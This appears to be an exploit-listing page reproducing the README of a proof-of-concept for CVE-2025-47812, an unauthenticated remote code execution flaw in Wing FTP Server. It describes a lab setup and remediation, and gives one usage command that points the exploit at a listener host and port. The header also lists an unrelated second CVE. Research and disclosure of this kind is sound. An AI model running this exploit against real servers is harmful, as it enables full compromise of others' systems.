Sploitus

Exploit for Improper Neutralization of Null Byte or NUL Character in Wftpserver Wing Ftp Server

CVE-2025-32463CVE-2025-47812

githubexploit · 2025-07-07

Exploit Code

README75 lines
## https://sploitus.com/exploit?id=713227AB-0F15-5126-AA88-F678BDB403AC
**CVE-2025-47812 Improper input validation led to Remote Code Execution to full system compromise**




  
![GitHub last commit](https://img.shields.io/github/last-commit/pevinkumar10/CVE-2025-47812) [![GitHub license](https://img.shields.io/github/license/pevinkumar10/CVE-2025-47812)](https://github.com/pevinkumar10/CVE-2025-47812/blob/main/LICENSE)



## 📘 Introduction:

Julien Ahrens from RCE Security discovered a critical security vulnerability impacting WingFTP. Tracked as CVE-2025-47812, the vulnerability has a CVSS score of 10. Successful exploitation of the vulnerability may allow a remote unauthenticated attacker to execute arbitrary code, leading to complete system compromise.

Wing FTP Server is cross-platform, user-friendly, and secure FTP server software. It supports multiple file transfer protocols, such as FTP, FTPS, HTTP, HTTPS, and SFTP, allowing flexibility for client connections.

To research CVE-2025-47812, I deployed a Docker container running Wing FTP Server 7.4.3 on a Linux host. The container was configured to expose the web interface, and I enabled anonymous login for easier unauthenticated testing. Additionally, a test user account (`dev-test:test`) was created to simulate authenticated scenarios. This setup provided a safe and controlled environment to reproduce the vulnerability and validate exploit behavior.

## 🚨 Vulnerability Summary:

- CVE ID: CVE-2025-47812

- CVSS v3.1 Vector:

- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

- Base Score: 10.0 (Critical)

- Affected Software: 
  
  
  CVE-2025-47812 - Wing FTP Server Unauthenticated RCE





  
  
  CVE-2025-47812 - Wing FTP Server authenticated RCE (dev-test:test)




  
  


Example usage:
```bash
python3 exploit.py --target http://172.17.0.2 --lhost 172.17.0.1 -lport 31336 
```

## 🛡️ Remediation:

- Users must upgrade to WingFTP version 7.4.4 to patch the vulnerability.

- Please refer to the WingFTP Release [Notes](https://www.wftpserver.com/serverhistory.htm) for more information.


## 📜 Reference & Credit:

- Original Exploit Author: Sheikh Mohammad Hasan aka [4m3rr0r](https://github.com/4m3rr0r)

- [Qualys](https://threatprotect.qualys.com/2025/07/02/wingftp-critical-remote-code-execution-vulnerability-cve-2025-47812/)

- [Exploit](https://www.exploit-db.com/exploits/52347)

Note : I used the above reference for research purpose and updated the exploit with more fetures and robust error handling. 

## ⚖️ License:

This Python PoC is released under the [MIT](./LICENSE) License.
The original exploit concept and disclosure credit belong to the Stratascale Cyber Research Unit.